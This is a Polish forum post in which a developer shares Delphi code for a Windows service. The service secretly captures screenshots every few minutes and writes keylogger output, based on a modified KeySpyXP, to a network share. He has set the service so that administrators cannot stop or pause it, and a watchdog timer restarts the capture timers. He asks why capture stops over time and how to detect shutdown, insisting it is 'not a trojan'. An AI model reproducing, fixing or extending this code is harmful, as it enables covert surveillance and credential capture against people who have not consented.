witam.... chcialem zrobic usluge ktora w odstepach odczytanych z pliku dokonuje zrzutow ekranu i loguje klawisze.... sa to timery...
timer od screenow:
procedure TNTservices.Timer1Timer(Sender: TObject);
var
Can: TCanvas;
Bit: TBitmap;
JPEG: TJPEGImage;
Rozd : packed record
X, Y : Integer;
end;
begin
Timer1.Enabled := False;
try
Can := TCanvas.Create;
Can.Handle := GetWindowDC(GetDesktopWindow);
Bit := TBitmap.Create;
Rozd.X := GetSystemMetrics(SM_CXSCREEN); // pobranie rozdzielczosci
Rozd.Y := GetSystemMetrics(SM_CYSCREEN);
Bit.Width := Rozd.X;
Bit.Height := Rozd.Y;
Bit.Canvas.CopyRect(Rect(0, 0, Rozd.X, Rozd.Y),
Can,
Rect(0, 0, Rozd.X, Rozd.Y));
JPEG := TJPEGImage.Create;
JPEG.CompressionQuality:=100;
JPEG.Assign(Bit);
Data := DateToStr(Date);
Czas := TimeToStr(Time);
Czas := StringReplace(Czas, ':', '', [rfReplaceAll]);
ForceDirectories(Sciezka + '\ab\' + Nazwa + '\' + Data + '\Scr');
JPEG.SaveToFile(Sciezka + '\ab\' + Nazwa + '\' + Data + '\Scr\' + Czas + '.jpg');
Timer1.Enabled := True;
except
end;
end;
timer od zapisywania klawyszy zalogowanych (KeyspyXP odpowiednio zmodyfikowany do mojego programu):
procedure TNTservices.Timer2Timer(Sender: TObject);
var
F: TextFile;
begin
Timer2.Enabled := False;
try
Data := DateToStr(Date);
ForceDirectories(Sciezka + '\ab\' + Nazwa + '\' + Data + '\Key');
AssignFile(F, Sciezka + '\ab\' + Nazwa + '\' + Data + '\Key\key.rtf');
if not FileExists(Sciezka + '\ab\' + Nazwa + '\' + Data + '\Key\key.rtf') then
begin
Rewrite(F);
CloseFile(F);
end;
Append(F);
WriteLn(F, Keys);
CloseFile(F);
Keys := '';
Timer2.Enabled := True;
except
end;
end;
Nazwa to pobrana nazwa komputera... dodatkowo zrobilem 3 timer ktory sprawdza czy poprzednie 2 sa active.. jezeli nie to je wlacza...
i wszystko dziala ok... zapisuje powiedzmy co 5 minut screen, co 15 minut klawisze...
Allowstop i allowpause sa na false... nie da sie go wylaczyc z panelu administratora...
i co dziwne po jakims czasie nagle przestaje zapisywac screeny i klawisze... dodam tylko ze zapisuje to na SCIEZCE SIECIOWEJ, ale serwer caly czas dziala itp... nie jest resetowany... boli mnie ten przypadek... nie wiem czemu tak sie dzieje... zaden blad sie nie pokazuje... a przeciez usluga sie nie moze zatrzymac... co zrobic? :/
i pytanie 2...
jak wykryc zamykanie windowsa XP bo wtedy do Keys chce dodac tekst "ZAMYKANIE KOMPUTERA" i zapisac do sieciowego pliku... ????
od razu mowie ze to nie zaden trojan itp poniewaz jest to dla celow komercyjnych :)
pozdrawiam..